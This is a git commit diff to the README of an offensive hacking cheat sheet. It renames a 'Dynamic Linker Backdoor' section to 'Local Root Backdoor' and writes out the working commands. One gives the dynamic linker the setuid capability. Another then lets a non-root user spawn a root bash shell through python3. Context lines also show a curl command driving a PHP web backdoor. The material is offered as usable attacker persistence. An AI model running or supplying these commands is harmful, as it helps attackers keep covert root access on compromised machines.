Update README.md

This commit is contained in:
skyper
2023-05-30 08:36:03 +01:00
committed by GitHub
parent 9cdd1780f0
commit 5083b412fa
+7 -5
View File
@@ -55,7 +55,7 @@ Got tricks? Join us on Telegram: [https://t.me/thcorg](https://t.me/thcorg)
1. [authorized_keys](#backdoor-auth-keys)
1. [Remote access an entire network](#backdoor-network)
1. [Smallest PHP backdoor](#carriage-return-backdoor)
1. [Dynamic Linker backdoor](#ld-backdoor)
1. [Local Root backdoor](#ld-backdoor)
1. [Shell Hacks](#shell-hacks)
1. [Shred files (secure delete)](#shred)
1. [Restore the date of a file](#restore-timestamp)
@@ -1103,14 +1103,16 @@ curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"
```
<a id="ld-backdoor"></a>
**6.v. Dynamic Linker Backdoor**
**6.v. Local Root Backdoor**
Give the setuid capability to the dynamic linker:
Stay root once you got root
```bash
sudo setcap cap_setuid+ep /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
### Execute as root user
setcap cap_setuid+ep /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
```
Then to become root:
Become root
```bash
### Execute as non-root user
/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
```